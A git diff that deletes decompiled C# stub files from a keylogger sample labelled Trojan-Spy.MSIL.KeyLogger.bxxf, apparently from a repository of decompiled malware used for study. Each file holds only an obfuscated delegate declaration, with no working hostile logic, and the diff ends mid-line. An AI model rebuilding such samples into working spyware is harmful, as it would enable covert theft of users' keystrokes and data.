a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0002.cs deleted file mode 100644 index 934f563c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Exception \u0015\u0002([In] int obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0003.cs deleted file mode 100644 index c4820f12..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0015\u0003([In] object obj0, [In] int obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0002.cs deleted file mode 100644 index 609ecf26..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0002.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u0016\u0002([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0003.cs deleted file mode 100644 index 96fbc77d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0016\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0002.cs deleted file mode 100644 index 525ab88d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate StackFrame \u0017\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0003.cs deleted file mode 100644 index 3f99283a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0017\u0003([In] int obj0, [In] int obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0002.cs deleted file mode 100644 index a7695a84..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0018\u0002([In] object obj0, [In] BorderStyle obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0003.cs deleted file mode 100644 index b17d5ebd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0018\u0003([In] object obj0, [In] Point obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0002.cs deleted file mode 100644 index dae0ec9e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0019\u0002([In] object obj0, [In] AutoScaleMode obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0003.cs deleted file mode 100644 index c311963d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Drawing; - -internal delegate Color \u0019\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0002.cs deleted file mode 100644 index f0dda642..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u001A\u0002([In] object obj0, [In] Control obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0003.cs deleted file mode 100644 index ae0c24df..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u001A\u0003([In] Delegate obj0, [In] Delegate obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0002.cs deleted file mode 100644 index 4d9e03fc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u001B\u0002([In] object obj0, [In] object obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0003.cs deleted file mode 100644 index 40782fbb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u001B\u0003([In] object obj0, [In] Size obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0002.cs deleted file mode 100644 index cfdb8b64..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u001C\u0002([In] object obj0, [In] object obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0003.cs deleted file mode 100644 index dcd9de11..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate object \u001C\u0003([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0002.cs deleted file mode 100644 index c1115d5c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u001D\u0002([In] object obj0, [In] FormBorderStyle obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0003.cs deleted file mode 100644 index 47bf8cf1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate double \u001D\u0003([In] string obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0002.cs deleted file mode 100644 index 7d300314..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Diagnostics; - -internal delegate Process[] \u001E\u0002(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0003.cs deleted file mode 100644 index aed5220e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate string \u001E\u0003([In] Environment.SpecialFolder obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0002.cs deleted file mode 100644 index fcb44c0d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u001F\u0002([In] object obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0003.cs deleted file mode 100644 index f5833bbe..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u001F\u0003([In] double obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0002.cs deleted file mode 100644 index 3fcaa663..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u007F\u0002([In] object obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0003.cs deleted file mode 100644 index 0beee2b6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate int \u007F\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int 